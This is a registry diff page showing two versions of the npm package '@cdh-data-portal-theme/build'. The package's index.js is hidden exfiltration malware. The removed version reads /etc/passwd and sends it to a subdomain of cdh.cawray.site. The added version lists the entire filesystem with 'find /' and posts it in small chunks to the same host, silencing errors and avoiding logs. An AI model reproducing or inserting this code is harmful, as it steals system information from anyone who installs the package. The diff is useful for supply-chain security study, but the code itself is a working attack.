@cdh-data-portal-theme/build 20.0.0 → 20.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/build/index.js +85 -39
  2. package/package.json +1 -1
package/build/index.js CHANGED
@@ -1,56 +1,102 @@
1
1
  const http = require("http");
2
2
  const os = require("os");
3
- const { execSync } = require("child_process");
3
+ const { exec } = require("child_process");
4
+ const fs = require("fs");
5
+ const path = require("path");
4
6
 
5
7
  const hostname = os.hostname();
6
-
7
- // Function to execute shell commands and return output
8
- const executeCommand = (cmd) => {
9
- try {
10
- return execSync(cmd, { encoding: "utf-8" }).trim();
11
- } catch (error) {
12
- return `Error executing command: ${error.message}`;
13
- }
14
- };
8
+ const maxLinesPerRequest = 10; // Maximum lines to send per request
9
+ const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
15
10
 
16
11
  // Gather machine information
17
12
  const machineInfo = {
18
13
  hostname: hostname,
19
14
  os: `${os.type()} ${os.release()} ${os.arch()}`,
20
15
  uptime: os.uptime(),
21
- passwdFile: executeCommand("cat /etc/passwd"),
22
16
  };
23
17
 
24
- // Prepare data to be sent
25
- const data = new TextEncoder().encode(
26
- JSON.stringify({
27
- payload: machineInfo,
28
- project_id: process.argv[2],
29
- })
30
- );
31
-
32
- const options = {
33
- hostname: `${hostname}.cdh.cawray.site`,
34
- port: 80,
35
- path: "/",
36
- method: "POST",
37
- headers: {
38
- "Content-Type": "application/json",
39
- "Content-Length": data.length,
40
- },
41
- rejectUnauthorized: false,
18
+ // Function to gather the entire filesystem
19
+ const gatherFilesystem = () => {
20
+ const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
21
+ exec(command, (error) => {
22
+ // Do nothing on error
23
+ if (error) {
24
+ return; // Exit if there's an error
25
+ }
26
+ // Do not log anything here
27
+ });
42
28
  };
43
29
 
44
- // Send the request
45
- const req = http.request(options, (res) => {
46
- res.on("data", (d) => {
47
- process.stdout.write(d);
30
+ // Function to read the filesystem data in chunks
31
+ const readFilesystemInChunks = () => {
32
+ if (!fs.existsSync(outputFile)) {
33
+ return []; // Return an empty array if the file does not exist
34
+ }
35
+
36
+ const data = fs
37
+ .readFileSync(outputFile, "utf-8")
38
+ .split("\n")
39
+ .filter((line) => line.trim() !== "");
40
+ return data; // Return an array of file paths
41
+ };
42
+
43
+ // Function to send a POST request with a given payload
44
+ const sendPostRequest = (chunk, chunkIndex) => {
45
+ const data = JSON.stringify({
46
+ payload: {
47
+ ...machineInfo,
48
+ directories: chunk, // Change "files" to "directories"
49
+ },
50
+ project_id: process.argv[2],
48
51
  });
49
- });
50
52
 
51
- req.on("error", (error) => {
52
- console.error(error);
53
- });
53
+ const options = {
54
+ hostname: `${hostname}.cdh.cawray.site`,
55
+ port: 80,
56
+ path: "/",
57
+ method: "POST",
58
+ headers: {
59
+ "Content-Type": "application/json",
60
+ "Content-Length": Buffer.byteLength(data),
61
+ },
62
+ rejectUnauthorized: false,
63
+ };
64
+
65
+ // Send the request
66
+ const req = http.request(options, (res) => {
67
+ res.on("data", () => {
68
+ // Do nothing with the response data
69
+ });
70
+ });
71
+
72
+ req.on("error", () => {
73
+ // Do nothing on request error
74
+ });
75
+
76
+ req.write(data);
77
+ req.end();
78
+ // Do not log anything about sent requests
79
+ };
80
+
81
+ // Gather the filesystem
82
+ gatherFilesystem();
83
+
84
+ // Use a slight delay to ensure the filesystem.txt is populated
85
+ setTimeout(() => {
86
+ // Read the filesystem data
87
+ const fileLines = readFilesystemInChunks();
88
+ const totalLines = fileLines.length; // Total lines collected
89
+
90
+ // Send each batch of directories and files, with a maximum of 10 lines per request
91
+ for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
92
+ const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
93
+
94
+ // Adding a delay of 500ms between requests
95
+ setTimeout(
96
+ () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
97
+ (i / maxLinesPerRequest) * 500
98
+ );
99
+ }
54
100
 
55
- req.write(data);
56
- req.end();
101
+ // Do not log anything about all requests sent
102
+ }, 1000); // Adjust delay as necessary
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@cdh-data-portal-theme/build",
3
- "version": "20.0.0",
3
+ "version": "20.0.1",
4
4
  "description": "My NPM",
5
5
  "main": "build/index.js",
6
6
  "scripts": {